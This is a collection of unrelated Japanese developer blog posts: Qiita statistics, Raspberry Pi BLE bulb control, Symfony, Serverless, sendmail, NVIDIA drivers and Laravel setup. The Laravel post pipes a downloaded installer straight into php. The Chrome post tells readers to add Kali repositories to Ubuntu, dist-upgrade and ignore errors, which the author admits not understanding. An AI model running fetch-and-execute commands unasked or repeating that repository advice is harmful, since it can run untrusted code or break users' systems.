 *  東北地方=[青森県, 岩手県, 宮城県, 秋田県, 山形県, 福島県],
 *  関東地方=[茨城県, 栃木県, 群馬県, 埼玉県, 千葉県, 東京都, 神奈川県]}
 */

```
Qiitaの投稿の推移

#Qiitaの投稿の推移

- 変更点

・ [GitHubへデータをうｐ](https://github.com/kurokuma/qiita_rss/tree/master/%E8%AA%BF%E6%9F%BB)煮るなり焼くなり
・ <font color="Red">JST</font>に直した 2017/01/01
・ ~~<font color="Red">UTC</font>です...~~（後でJSTに直します）2016/12/30

[Qiitaの投稿について調べた件](http://qiita.com/code_monkey/items/bc412b7642b45323ca7d)の続編

#調査のやり方や期間など
- 方法は前回と同じ
- 期間は約２０１６年７月～１２月２９日１３時まで

#結果
##日別
![per_day.png](https://qiita-image-store.s3.amazonaws.com/0/122949/4292641f-16b7-de0b-ad01-a9725ebdae8f.png)
抜けてる日は前回も書いた通りミスって電源落ちちゃったりしたとき(´・ω・｀)
１１月下旬から１２月にかけて全体の総数がのびていますね
何でだろう...Alexa traffic rankと重ね合わせたい

##時間別
![per_hour.png](https://qiita-image-store.s3.amazonaws.com/0/122949/11f1a276-cb30-6981-1c84-1eec886eba5b.png)
１５時が最も投稿数が多いですね
やはり特徴的なのは０時から３時まで投稿数が上昇し続け１２時まであまり差がないこと
逆に１６時から一気に下がって２０時が最も少ない時間帯です
夜型が多いのかも

##曜日別
![per_wd.png](https://qiita-image-store.s3.amazonaws.com/0/122949/b4eda5b3-8480-31a2-3651-78376ad7b43d.png)
差が少なく面白みの欠けるデータ・・・
強いて言うなら土曜日が最も少なく水曜日が最も多い

#ユーザーランキング
投稿数Top１０

| User | 投稿数 |
|:-:|:-:|
| 7of9 | 1037 |
| chen7897499 | 210 |
| tcsh | 116 |
| yukikimoto | 108 |
| hennnnnmi | 107 |
| kopokkacangijo | 104 |
| bezeklik | 100 |
| tukiyo3 | 96 |
| HirofumiYashima | 88 |
| kaorumori | 87 |
| ... | ... |
| 私 | 5 |

えぇ・・・・１人だけ投稿数の桁が違う
気になったら調べること！
ということで@7of9さんについて詳しく見てみる

##日別
![per_day_7of9.png](https://qiita-image-store.s3.amazonaws.com/0/122949/677b2c2e-3cf4-2796-e8d1-63ca4d57fe00.png)
しゅごい・・・最高で１日に２０件以上も・・・

##時間別
![per_hour_7of9.png](https://qiita-image-store.s3.amazonaws.com/0/122949/d44e2958-6f2a-9595-8262-b31af2f74470.png)
~~ん・・！！最も投稿数が多い時間が２２時！？~~
~~２２時は全体の総数では少ない時間帯です~~
~~相変わらず２３時から７時まで同じくらいだが３時が突出して多い~~

##曜日別
![per_wd_7of9.png](https://qiita-image-store.s3.amazonaws.com/0/122949/4ff0bdb4-c75c-afd7-1618-30175238cc9e.png)
全体と同様に水曜日が最も多い

##プロフィール
![7of9.PNG](https://qiita-image-store.s3.amazonaws.com/0/122949/700cec68-30ad-9415-be0a-ea898f4cae1b.png)

(´・ω・｀)・・・どう見てもQiitaガチ勢です

#雑感
Q.「これやる意味あるの？」
A.「ないです＼(^o^)／ 運営がとっくにやっとるやろ」
(´・ω・｀)つ「[Qiita新着bot](https://twitter.com/qiita_rss)」

Q.「ユーザ名載せないで下さい」
A.「修正します」

Q.「前の記事でタグも集めるって書いたのにないじゃん！」
A.「同じ意味で異なるタグが複数存在してやる気失せた」

Q.「データ下さい」
A.「(´・ω・｀)つ[Git](https://github.com/kurokuma/qiita_rss/tree/master/%E8%AA%BF%E6%9F%BB)」

Q.「その他」
A.「コメント欄で」
Bluetooth LE (BLE) SATECHI LED電球 を Raspberry Pi3 から 制御

# Overview

[Bluetooth on Raspberry Pi3 with Ubuntu Mate 16.04 LTS](http://qiita.com/hidenorly/items/1c7ff9ce41edfa7d3aee) で、ようやくRaspberry Pi3内蔵のBluetoothが動くようになったので、BLE deviceをhackしてみるために色々と遊んでみたのです。

なお、遊んだ結果をまとたscriptを以下に書いておきました。

https://github.com/hidenorly/bleBulbDriver

# Bluetoothの有効化

```
$ sudo rfkill unblock bluetooth
$ sudo hciconfig hci0 up
```

ほかは前の記事を見てください。

# BLE devicesの列挙

```
$ sudo hcitool lescan
LE Scan ...
D0:5F:B8:XX:XX:XX SATECHILED-0
```

# BLE deviceのserviceの列挙

```
$ sudo gatttool --device D0:5F:B8:XX:XX:XX --primary
```

# BLEのcharacteristicsの列挙

```
$ sudo gatttool --device D0:5F:B8:XX:XX:XX --char-desc
```

ここから所望のUUIDのサービスのhandleを取得するには、

```
$ sudo gatttool --device D0:5F:B8:XX:XX:XX --char-desc | grep fff3
handle = 0x002b, uuid = 0000fff3-0000-1000-8000-00805f9b34fb
```

みたいにするとかが便利かもしれない。


# 例 : SATECHI LED Bulbの制御

色々と弄った結果。

bulb:On

```
# gatttool --device=D0:5F:B8:XX:XX:XX --char-write-req --handle=0x002b --value=0f0d0300ffffffc800c800c8000059ffff
```

bulb:off

```
# gatttool --device=D0:5F:B8:2F:AA:EC --char-write-req --handle=0x002b --value=0f0d0300ffffff0000c800c8000091ffff
```

# で、面倒なので

https://github.com/hidenorly/bleBulbDriver

```
$ ./bleBulbDriver.rb
Usage: listDevices|on|off|allOn|allOff
bleBulbDriver Copyright 2016 hidenorly
    -b, --target=                    Set target device's mac address
    -t, --type=                      Set device type (default:SATECHILED)
```

```
$ sudo ./bleBulbDriver.rb listdevices
D0:5F:B8:XX:XX:XX SATECHILED-0
```

```
$ sudo ./bleBulbDriver.rb allon
$ sudo ./bleBulbDriver.rb alloff
$ sudo ./bleBulbDriver.rb alltoggle
```

```
$ ./bleBulbDriver.rb on -b D0:5F:B8:XX:XX:XX
$ ./bleBulbDriver.rb off -b D0:5F:B8:XX:XX:XX
$ ./bleBulbDriver.rb toggle -b D0:5F:B8:XX:XX:XX
```



のようにできるようにしておきました。

これで、色々とできる！
Ubuntu16.04にChrome55をインストール

なぜかうまく行かなかったので。

#やってみたこと(失敗した)
失敗原因は不明なのでうまくいく場合もあるかも


1. Chromeを別のブラウザでダウンロード
2. 端末でダウンロードディレクトリへ移動(`$ cd ~/ダウンロード`など)
3. 端末で`$ sudo dpkg -i 'google-chrome-stable_current_amd64.deb'`
これでインストールできると調べてやってみたのだが、以下のようなエラーが発生。

```
以前に未選択のパッケージ google-chrome-stable を選択しています。
(データベースを読み込んでいます ... 現在 208783 個のファイルとディレクトリがインストールされています。)
google-chrome-stable_current_amd64.deb を展開する準備をしています ...
google-chrome-stable (55.0.2883.87-1) を展開しています...
dpkg: 依存関係の問題により google-chrome-stable の設定ができません:
 google-chrome-stable は以下に依存 (depends) します: libpango1.0-0 (>= 1.14.0) ...しかし:
  パッケージ libpango1.0-0 はまだインストールされていません。

dpkg: パッケージ google-chrome-stable の処理中にエラーが発生しました (--install):
 依存関係の問題 - 設定を見送ります
man-db (2.7.5-1) のトリガを処理しています ...
bamfdaemon (0.5.3~bzr0+16.04.20160824-0ubuntu1) のトリガを処理しています ...
Rebuilding /usr/share/applications/bamf-2.index...
gnome-menus (3.13.3-6ubuntu3.1) のトリガを処理しています ...
desktop-file-utils (0.22-1ubuntu5) のトリガを処理しています ...
mime-support (3.59ubuntu1) のトリガを処理しています ...
処理中にエラーが発生しました:
 google-chrome-stable
```

#解決策
自分で少しチャレンジしたが解決できない。
調べて以下の方法でうまくいった。

ソースは [ここ](https://forums.kali.org/archive/index.php/t-22243.html)。

###私はUbuntu初心者で、以下の解決策が何を意味するのかよくわかりません。海外のサイトで拾った解決策を翻訳して引用したに過ぎません。もし問題のある解決策であればコメントにてご一報ください。また、以下の方法を行う前にご自身でソースをご覧の上、ご自身の判断のもと実行してください。私は一切の責任を負えません。

### 以上をご了承の上ご覧ください
では

```bash:
$ sudo nano /etc/apt/sources.list
```
nanoテキストエディタが実行されるのでファイルの最後に以下を追記する。

```追記する内容
deb http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
```

Ctrl+OからのEnterでセーブ。Ctrl+Xで終了。

```bash:
$ sudo apt-get update && apt-get upgrade && apt-get dist-upgrade
```

ここでエラーが出ても無視して↓を実行していく。

```bash:
$ sudo apt-get -f install
```
最後にもう一度

```bash:
$ sudo apt-get update && apt-get upgrade && apt-get dist-upgrade
```
これでようやくChromeの依存関係ファイルがインストールできた。

あとは、記事冒頭のように


1. Chromeを別のブラウザでダウンロード
2. 端末でダウンロードディレクトリへ移動(`$ cd ~/ダウンロード`など)
3. 端末で`$ sudo dpkg -i 'google-chrome-stable_current_amd64.deb'`

をするとインストールが成功する。はず...
Symfony2.7のTwigでテンプレートを読み込む


Twigで、`{{ include("Page/list.html.twig")}}`の様に書くことで、別のテンプレートをインポートできます。
コントローラーの`$this->render`第二引数に渡した値についてもそのまま渡してくれます。

includeのパスは`app/Resources/views/Page/information.html.twig`の場合、`Page/information.html.twig`となります。（`app/Resources/views`を省略する形）

```information.html.twig
<h2>Information</h2>
<p>Informaiton is here</p>
```

これを読み込む場合は以下のように書きます。

```base.html.twig
<html>
<body>
    <h1>{{ title }}</h1>
    {{ include("Page/information.html.twig")}}
</body>
</html>
```

これだけだと煩わしいだけですが、コンポーネントが増えていったり使いまわしたい要素が出てくると重宝します。
Symfony2.7のTwigでクエリ付きリンクを設定する


Twigでは`<a href="{{ path("some_route_name") }}">Link</a>`でリンクを設定できます。

で、この`path`関数の第二引数にJSONっぽい形の値を突っ込むことで、クエリ付きのリンクをつけることができます。

```
{% for key, item in informations %}
  <a href="{{ path("app_concert_index", {"id": key,'date': item.date}) }}">
	{{item.content}}
 </a>
{% endif %}
```

これがこうなります。

```html
<a href="/concert/?id=0&amp;date=201610">201610: Add news page</a>
<a href="/concert/?id=1&amp;date=201611">201611: Add news page</a>
<a href="/concert/?id=2&amp;date=201612">201612: Add news page</a>
```
jQueryで項目のトリム＆ゼロサプレス処理

なんか数値用の項目に空白とか頭ゼロとか入れたくないんだってさ。

```js:
$(function() {
    $('.number').focusout(function() {
        $(this).val($(this).val().replace(/^\s*0*(\d+)\s*$/, '$1'));
    });
});
```

入力フィールドに "number" というクラス名を付けておけば、フォーカスが外れたタイミングで勝手にトリム処理とゼロサプレス処理が行われる。簡単。
これを応用すると、金額項目の値を３桁カンマ区切りにするみたいなのもできるかもね。需要があるかは知らんが。
JavaScriptでゼロ埋め処理

数値型の年、月、日を引数として、yyyymmdd形式で返す関数をプログラマーに依頼したらこんなのが返ってきた。

```js:
function yyyymmdd(y, m, d) {
    var ymd = y;
    if (m < 10) {
        ymd += '0' + m;
    } else {
        ymd += m;
    }
    if (d < 10) {
        ymd += '0' + d;
    } else {
        ymd += d;
    }
    return ymd;
}
```

間違っちゃいないけど…
JavaScriptの初心者向けのサイトとかだと、こういうのがサンプルとして載っていることもなくはないけれど、**このコードからはより良いものを作ろうという意思が少しも感じられない。**書いていて「もう少しいい感じに書けないかな」とか考えないんだろうか。

というわけで、もう少しいい感じに書いてみたのがコレです。

```js:
function yyyymmdd(y, m, d) {
    var y0 = ('000' + y).slice(-4);
    var m0 = ('0' + m).slice(-2);
    var d0 = ('0' + d).slice(-2);
    return y0 + m0 + d0;
}
```
Symfony2.7のコントローラーからTwigに変数を渡す

参考書籍：http://amzn.to/2hR0rdQ

コントローラーの`$this->render`第二引数に配列で渡すと、Twig側で拾えます。

###before
```php
<?php

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;

class ConcertController extends Controller
{
    /**
     * @Route("/page/")
     **/
    public function indexAction()
    {
        return $this->render('Page/index.html.twig');
    }
}
```

###after
```php
<?php

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;

class ConcertController extends Controller
{
    /**
     * @Route("/page/")
     **/
    public function indexAction()
    {
        $information = "add new concert";
        $args = [
            'informations' => [
                '201610' => 'Add new page',
                '201611' => 'Add news page',
                '201612' => 'Delete old page',
            ],
            'title' => 'Example Site'
        ];
        return $this->render(
            'Page/index.html.twig',
            $args
        );
    }
}
```

##Twigで拾う
渡した値は、第二引数のキー名で拾えます。

```html
<html>
<body>
    <h1>{{ title }}</h1>
    <ul>
        {% for key, item in informations %}
            <li>{{ key }}: {{ item }}</li>
        {% endfor %}
    </ul>
</body>
</html>
```

###出力
![スクリーンショット 2016-12-30 1.43.52.png](https://qiita-image-store.s3.amazonaws.com/0/23936/7c7db893-710e-e1bf-f68f-bcc5984f89b2.png "スクリーンショット 2016-12-30 1.43.52.png")
Somfony2.7で新規ページを追加する

参考書籍：http://amzn.to/2hR0rdQ

##Somfonyシェル画面にログインする

```

$ php app/console --shell
```

別に入らなくても良いのですが、こっちの方が入力するコマンド量が少なくて楽です。

##controllerを新規作成する
シェル画面に入っている場合は`generate:controller`、そうじゃない場合は`php app/console generate:controller`で対話画面が起動します。

- `Controller name`で作成するコントローラー名（バンドル名:コントローラー名）
- `Routing format`でルーティングのフォーマットを指定します
- `Template format`でviewのフォーマットを指定します
- `New action name`はアクションの名前入れるっぽいですが、今回はスキップしてます


```
Symfony > generate:controller

                                                
  Welcome to the Symfony2 controller generator  
                                                


Every page, and even sections of a page, are rendered by a controller.
This command helps you generate them easily.

First, you need to give the controller name you want to generate.
You must use the shortcut notation like AcmeBlogBundle:Post

Controller name: AppBundle:Concert   

Determine the format to use for the routing.

Routing format (php, xml, yml, annotation) [annotation]: 

Determine the format to use for templating.

Template format (twig, php) [twig]: 

Instead of starting with a blank controller, you can add some actions now. An action
is a PHP function or method that executes, for example, when a given route is matched.
Actions should be suffixed by Action.


New action name (press <return> to stop adding actions): 

```

### 作成前の確認
入力した値の確認画面が出てくるので、確認してからenterかyesを入力します。

```
                                          
  Summary before generation  
                             

You are going to generate a "AppBundle:Concert" controller
using the "annotation" format for the routing and the "twig" format
for templating
Do you confirm generation [yes]? 
```

以下のようなメッセージが出たらOKです。

```
                         
  Controller generation  
                         

Generating the bundle code: OK

                                               
  You can now start using the generated code!  
```

##コントローラーにパスを設定する
作成したコントローラー`src/XXXBundle/Controller/YOURController.php`を以下のようにします。

```php
<?php

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;

class ConcertController extends Controller
{
    /**
     * @Route("/page/")
     **/
    public function indexAction()
    {
        $information
        return $this->render('Page/index.html.twig');
    }
}

```
アノテーションの`@Route("/page/")`でパスを指定し、`$this->render('Page/index.html.twig')`でviewのテンプレートを指定します。

##viewを設定する
`app/Resources/views/Page/index.html.twig`にHTMLを書き込みます。

```html
<html>
<body>
    <h1>Hello Website</h1>
</body>
</html>
```

##動作確認
`server:start 127.0.0.1:8000`もしくは`php app/console server:start 127.0.0.1:8000`すると、PHPのビルトインサーバーが起動します。
`localhost:8000/page`でアクセスすると、ページが表示される（はず）です。

##注意点

###Controller名は`XXXBundle:コントローラー名`にする
generateする時に怒られるだけなので、致命的な問題は出ませんが念のため。

```
Controller name: Concert 
 The controller name must contain a : ("Concert" given, expecting something like AcmeBlogBundle:Post) 
```
pugをbrowserで使う


# jade.jsはあるのに、pug.jsは？？？

＃前回の「pug+riot.jsでyieldを使う。」の続き。

pugをお試しできないんだっけ？
CDNで公開されていない？
と本家[pugjs](https://github.com/pugjs/pug)のissuesで聞こうかとさまよっていたら、web上に存在はするみたい。
きちんとしたものかはよく確認できなったのですが.....
ということで、こんな感じ([Runstart](http://runstant.com/uk-taniyama/projects/8ee8158e))で使えます。

# なんちゃってbuild方法。
ローカルで自分でbuildしてみようとしたんですが、うまくいかない。

- なにやら、エラーが出るんですが？→ダミーに差し替えよう！
- browserifyって、node_modules配下のが優先なんですか？→パッチをあててしまおう！

ということで、やった結果がこのような感じに。
https://github.com/uk-taniyama/pug-for-browser
3回コマンド(npm install,npm run patch,npm run build)をたたくとbrowserで動くpug.jsが出来上がります。
＃どのていど動くものかは不明ですが......あと、browserifyはよくわからないので、圧縮とかもされないです。

本家のissuesにもしらっとあげてみたのですが、どうなるのかはお楽しみ。

＃これで、本題の作業に移れるかな。なかなか、環境構築のいろいろで引っかかって、やりたいことにたどり着けない......
Hive0.13のUniquejoinの動作について

HiveにUniqueJoinなるものがある。
Documentに見当たらなかったが、Jiraによると0.5.0から入っていることがわかる。
https://issues.apache.org/jira/browse/HIVE-591


クエリ例:

```sql
SELECT a.id,b.id,c.id FROM UNIQUEJOIN
PRESERVE test_a a(a.id),
PRESERVE test_b b(b.id),
PRESERVE test_c c(c.id)
```

**test_a**:
<img width="604" alt="Screen Shot 2016-12-30 at 0.32.07.png" src="https://qiita-image-store.s3.amazonaws.com/0/34543/85e3eeef-58ca-0339-3da2-bc1da38e8a55.png">

**test_b**:

<img width="601" alt="Screen Shot 2016-12-30 at 0.36.59.png" src="https://qiita-image-store.s3.amazonaws.com/0/34543/27bb668e-e4b8-aadc-b60c-2b6b89e0231c.png">

**test_c**:

<img width="599" alt="Screen Shot 2016-12-30 at 0.33.06.png" src="https://qiita-image-store.s3.amazonaws.com/0/34543/9fc907a6-6b93-15e7-b176-560b73f45e46.png">

クエリ結果:

<img width="622" alt="Screen Shot 2016-12-30 at 0.30.54.png" src="https://qiita-image-store.s3.amazonaws.com/0/34543/81f16c8c-4d2d-99a2-7ff6-4564c7a5a500.png">

クエリ結果から判断すると、
PRESERVE内で指定したカラムの値の全組み合わせが出すために使える。

そのため、事前にキーをユニークにしておけば、各テーブルの歯抜けになっているキーを算出できる。


制限: test_aの部分はサブクエリにはできない（少なくともHive0.13）。

一点よくわからないのが、下のFull Outer Joinで同じ結果を出せるように思うのだけれども、これを使うメリットは他に何かあるのか・・・

```sql
select a.id, b.id, c.id
from test_a a full outer join test_b b on a.id = b.id
              full outer join test_c c on a.id = c.id
```
paiza記事へのコメントメモ(2016年)

限定投稿整理中に去年(2016年)暮れに話題になった[paiza記事「ツイッターで出題した未定義問題のお詫びと調査と解説について」][paiza]へ投稿したコメントが出てきたため、[マサカリ Advent Calendar 2017][adc]に供して供養とさせて頂きます。

当時は該当ブログのコメント欄に投稿したのですが、おそらく非公開設定のためサイトでは表示されていません。なお、記事本文には本コメント指摘を反映頂いたようです。

[paiza]: http://paiza.hatenablog.com/entry/2016/12/28/%E3%83%84%E3%82%A4%E3%83%83%E3%82%BF%E3%83%BC%E3%81%A7%E5%87%BA%E9%A1%8C%E3%81%97%E3%81%9F%E6%9C%AA%E5%AE%9A%E7%BE%A9%E5%95%8F%E9%A1%8C%E3%81%AE%E3%81%8A%E8%A9%AB%E3%81%B3%E3%81%A8%E8%AA%BF%E6%9F%BB
[adc]: https://qiita.com/advent-calendar/2017/axe

```
　.　+ 　.:.　.　.
+　 　:.　　.　 +.
　.　　: .　 +　. .
.　:.　　　　　.
　.　　+　　Π
　　　　　　||
　　　 　(二Ｘ二O
　　　 　 　||　.+ .
　　　∧ ∧　||
　　 /⌒ヽ)_||＿
＿～(　　);;;;::＼
"　"" """""""" ""/;
　"" 　 """　""／:;
```

---
C/C++言語いずれでも未定義動作になるという結論は正しいのですが、その導出過程（および一部の説明）が適切でないと思います。

それぞれ、C++1z(N4618) §1.9 Paragraph 18: “If a side effect on a memory location (1.7) is unsequenced relative to either another side effect on the same memory location or a value computation using the value of any object in the same memory location, and they are not potentially concurrent (1.10), the behavior is undefined.”、C11(N1570) §6.5 Paragraph2: ”If a side effect on a scalar object is unsequenced relative to either a different side effect on the same scalar object or a value computation using the value of the same scalar object, the behavior is undefined.” が直接的に未定義動作としている箇所です。

C/C++ともに、2項+演算子オペランドの評価順序は未規定(unspecified)であり、その両オペランドに同一変数に対するインクリメント演算子(i++と++i)を置いているため、それぞれの値の評価(value computation)と副作用(side effect)が順序付けされず(unsequenced)、その結果として未定義の動作(behavior is undefined)になります。

本文「i++の後ろに、+で数値をつないだ場合、動作が定義されてない」「i++ +1は定義されるようになったけど、i++ + iは未定義とあります」はいずれも解釈を誤っており、C++仕様ではiへの代入までを含めて「i = i++ +1は定義されるがi = i++ + iは未定義」と言っています。式(i++ + 数値)のみに着目した場合は、何の問題も生じません。

本文「C++17ではside effectのある式の評価が見直され」も正確ではなく、C++17では一部の演算子でのみ評価順が明示的に規定されます。そこではside effect有無は直接関係しません。
Serverless と Lamdba環境設定


## Serverless とLamdba環境変数

Serverless のコードをVersion 管理する上で 気になるのがAPIなどの認証キー

ソースコード内にコレを含めたくないときには、 `.env` などのソリューションを思い浮かべる人も多いかもしれない。 

AWS Lamdba は ダッシュボードから環境変数の設定が可能で、これはデプロイがあっても通常は消えない。

## serverless.yml 内での環境変数設定

ダッシュボードから設定可能な環境変数の他に、serverless.yml 内でも環境変数の設定が可能

ただし、こちらでキーを設定した場合、yml内に登録されていないキーは **消える**

https://github.com/serverless/serverless/blob/master/docs/providers/aws/guide/functions.md#environment-variables

````
provider:
  name: aws
  runtime: nodejs4.3
  environment:
    HOGE_APIKEY: XXXXXXXXXXXXXXXXX
    PIYO_APIKEY: XXXXXXXXXXXXXXXXX
````

## serverless コマンド実行環境の環境変数

````
service: new-service
provider: aws
functions:
  hello:
      name: ${env:FUNC_PREFIX}-hello
      handler: handler.hello
  world:
      name: ${env:FUNC_PREFIX}-world
      handler: handler.world
````

`serverless.yml`の中ではCLIコマンド実行環境での環境変数を参照する事ができる。

https://serverless.com/framework/docs/providers/aws/guide/variables#referencing-environment-variables

これを上記と組み合わせて、以下のようなことも出来たりする。

````
provider:
  name: aws
  runtime: nodejs4.3
  environment:
    HOGE_APIKEY: ${env:SLS_HOGE_APIKEY}
    PIYO_APIKEY: ${env:SLS_PIYO_APIKEY}
````

ちなみにこれは: の後ろにスペース忘れると `ServerlessError: Invalid characters in environment variable
`というエラーで怒られる。辛い。
## まとめ

一昔前に[serverless\-webpack で作る複数環境運用に耐えるserverless\-node環境 \- Qiita](http://qiita.com/mikakane/items/a6b58c82abfd43b3d83c)みたいな記事を書いたものの、

正直これはオレオレすぎて理解が難しいので、しっかりServerless 標準の環境変数構成を使っていきたいなぁと思った。

認証情報をどこに置くか、は非常に難しい問題なので要件に併せて諸々検討したい。
sendmailでのメール送信失敗時のスプール保管場所

- メール送信失敗時はメールキューにスプールが溜まり、溜まっている限り再送を試みる。
- スプールが溜まるメールキューは以下の場合でそれぞれ異なるので注意。
- テストスプール消えてるの確認したつもりが見る場所間違ってて送っちゃったよ、、、なんて事が起きそうで冷や汗書いたのでメモ

## メールクライアントからsendmaiサーバへ送信指示を行った場合
- デフォルトだと/var/spool/mqueue
- 変更している場合は/etc/mail/sendmail.cf内の「QueueDirectory=xxxxxxx」のパスを参照

## sendmailサーバから直接メール送信を行った場合(MSPモード)
- sendmail v8.1.2以降が対象。※sendmailバージョン確認コマンドは「sendmail -d0.101」
- デフォルトだと/var/spool/clientmqueue
- 変更している場合は/etc/mail/submit.cf内の「QueueDirectory=xxxxxxx」のパスを参照

## 参考
- MSPモードとそれ以外の違いは以下がわかりやすかったです
    - SMTP配送の仕組みとsendmail(「MSPによるセキュリティ強化」の辺り）
        - http://linuxexpert.ne.jp/modules/pukiwiki/46.html
ubuntuにてNVIDIAドライバが認識されない

深層学習の勉強にとGTX750i搭載したマシンにubuntuをインストールして使っているのだが定期的に問題が発生するので備忘録

#NVIDIAドライバのインストール
基本的にapt-getでインストールできる

```
$ sudo add-apt-repository ppa:xorg-edgers/ppa
$ sudo apt-get update
$ apt-cache search 'nvidia-[0-9]+$'
nvidia-173 - NVIDIA legacy binary driver - version 173.14.39
nvidia-310 - Transitional package for nvidia-310
nvidia-319 - Transitional package for nvidia-319
nvidia-331 - Transitional package for nvidia-331
nvidia-346 - Transitional package for nvidia-346
nvidia-352 - Transitional package for nvidia-367
nvidia-367 - NVIDIA binary driver - version 367.57
nvidia-343 - NVIDIA binary driver - version 343.19
nvidia-361 - NVIDIA binary driver - version 361.93.02
nvidia-304 - NVIDIA legacy binary driver - version 304.134
nvidia-340 - NVIDIA binary driver - version 340.101
nvidia-370 - NVIDIA binary driver - version 370.28
nvidia-375 - NVIDIA binary driver - version 375.26

```

この中から自分のシリーズにあったものをインストールすればいい
[公式サイト](http://www.nvidia.co.jp/Download/index.aspx?lang=jp)から調べられる

#ドライバを認識しない時
時々陥ります。
症状としては、解像度が崩れてしまっています。
nvidia-settingsを開いてもGPUを認識している様子がありません。

こういう場合、私の場合は原因は**nvidia_drv.so**でした。
/usr/lib/xorg/modules/driversにnvidia_drv.soがないことで、ドライバの存在をXが認識してくれません。
nvidia_drv.soは/usr/lib/nvidia-ドライババージョン/xorgの中にあるので、それをコピーしてもってきます。

その後、rebootをかければNVIDIAドライバが働いてくれます。

ちなみに、はっきりとしたことはわかりませんが、ドライバを更新したときにnvidia_drv.soが消えてしまっているように思われます。
ドライバを更新したら、手動で設置してあげる必要があるみたいです。

#おまけ　ログイン無限ループ
ubuntu関連でよく見かける問題として、ログインループ問題があります。
これは、GUIのログイン画面でログインしたと思ったらまたログイン画面に飛ばされてしまうという症状です。
こういう場合も、NVIDIAドライバが悪さをしている場合が多く、ドライバのバージョンが噛み合っていないことが原因てことがよくあります。
その場合、Ctrl+Alt+F2でコンソールを立ち上げ、リポジトリをアップデートした上で新しいドライバをapt-getで入れてあげると直る場合が多いと思います。

#おわりに
わりとログインループや解像度の崩れに悩まされることが多かったため、いい加減同じことを調べ直さないように備忘録として書きました。

#参考

UbuntuでNVIDIAのディスプレイドライバが動作しない場合のチェック項目
http://qiita.com/gm3d2/items/8346c76961d3fdb257b7
Serverless HTTP で利用可能な情報

## Lambdaの環境変数

以下のような関数を実行して

```` 
module.exports.test = (event, context, callback)=>{
    const response = {
        statusCode: 200,
        body: JSON.stringify({
            message: 'Go Serverless v1.0!! Your function executed successfully!',
            event,
            context,
            env:{
                HOGE: process.env.HOGE,
                PIYO: process.env.PIYO
            }
        }),
    };
    callback(null, response);
};
````

以下のようなレスポンスが得られる。

````
{
  "message": "Go Serverless v1.0!! Your function executed successfully!",
  "event": { # HTTPの入力関するイベント
    "resource": "/serverless/test",
    "path": "/serverless/test",
    "httpMethod": "GET",
    "headers": { ... }, # 受信ヘッダ一覧
    "queryStringParameters": null,
    "pathParameters": null,
    "stageVariables": null,
    "requestContext": {
      "accountId": "12000000000",
      "resourceId": "xxxxxx",
      "stage": "dev",
      "requestId": "xxxxxxxx-xxxxxxxx-xxxxxxxx",
      "identity": { ... } , # IPやUA,Cognitoの認証情報などリクエスタに関する情報
      "resourcePath": "/serverless/test",
      "httpMethod": "GET",
      "apiId": "xxxxxxxxxx"
    },
    "body": null,
    "isBase64Encoded": false
  },
  "context": {
    "callbackWaitsForEmptyEventLoop": true,
    "logGroupName": "/aws/lambda/sls-dev-test",
    "logStreamName": "2016/12/29/[$LATEST]xxxxxxxxxx",
    "functionName": "sls-dev-test",
    "memoryLimitInMB": "1024",
    "functionVersion": "$LATEST",
    "invokeid": "xxxxxxxx-xxxxxxxx-xxxxxxxx",
    "awsRequestId": "xxxxxxxx-xxxxxxxx-xxxxxxxx",
    "invokedFunctionArn": "arn:aws:lambda:us-east-1:120000000000:function:sls-dev-test"
  },
  "env": { ... } # 環境変数に関する情報
}
````
Laravel入門-Laravelとは？特徴は？環境構築は？

# はじめに
Qiita初投稿です。

年末年始お休みを頂いているので、新米エンジニアがPHPを勉強することにしました。
松下幸之助と関係あるんかいな？と思いながら調べてみると、

- PHPフレームワークの中でも、最近注目を浴びているのがLaravel（ララベル）です。
- 海外での普及スピードがダントツで、日本国内でも今後ユーザー数が伸びてくることが予想されます。
- 他のフレームワークと比較すると日本語の情報は多くはないのですが、クセもなく、習得するまでの難易度は高くはありません。
- その割にライブラリも豊富で、機能追加も頻繁に行われています。

とのこと。
流行りには乗っておきたい。難易度も高くない。[公式](http://laravel.jp/)に載っている「ウェブ職人のためのPHPフレームワーク」の**職人**という字に惹かれた。ということで、とりあえずやってみます。

*ちなみに、松下幸之助と関係ないことを調べてくれてる方もいましたw
[ PHP研究所、PHP文庫ってプログラミング言語に関係あるの？](http://yohyama.hatenablog.com/entry/2016/11/06/135133)*

*ネットは広大だわ。。*

# Laravelとは
Laravel（ララベル）は、フルスタックなPHPフレームワークで、ルーティング、コントローラ、ビュー、ORMなど基本的な機能を備え、さらに近代的なWebアプリで活用されるジョブキューやWebストレージなども積極的に統合している。

MITライセンスの下でリリースされており、そのソースコードはGitHubにホスティングされている。

Laravelの名前は『ナルニア国物語』に登場するナルニア国の王都、ケア・パラベルにちなむ。[wikipedia](https://ja.wikipedia.org/wiki/Laravel)

# Laravelの特徴
- コードが読みやすく、書きやすい
- 学習コストの低さ
- 強力なルーティングフィルター
- 柔軟なオートローダー
- 簡単なページネーション
- ビューをサポートするコンポーサー

# 環境構築
*私の環境：*
　*Mac OS X El Capitan*
　*PHP 5.6.10*

## Composerのインストール
まずは、Composerと呼ばれる、PHPのパッケージ管理システムをインストールします。

```
$ curl -sS https://getcomposer.org/installer | php
```
これで、composer.pharが存在する階層にいる場合、composerコマンドが使えます。どこにいてもcomposerコマンドが使えるようにcomposer.pharを

```
$ mv composer.phar /usr/local/bin/composer
```
としておきます。
移動後は、ターミナルで、

```
$ composer --version
```
を実行してバージョン番号が表示されることを確認します。

## Laravelのインストール
次に、Laravelをインストールします。
インストールには専用インストーラを使用する方法とComposerを利用する方法の２つが用意されています。

### 専用インストーラでのインストール
Composerで専用インストーラをインストールします。

```
$ composer global require "laravel/installer=~1.1"
```
laravelコマンドが実行できるように、~/.composer/vendor/bin（Windowsの場合は、C:\%HOMEPATH%\AppData\Roaming\Composer\vendor\bin）ディレクトリにPATHを通します。

```
$ export PATH="$PATH:~/.composer/vendor/bin"
```
これで、以下のようにコマンド１つでLaravelプロジェクトが作成できます。

```
$ laravel new [プロジェクト名]
```

### Composerでのインストール
以下のコマンドだけでOKです。

```
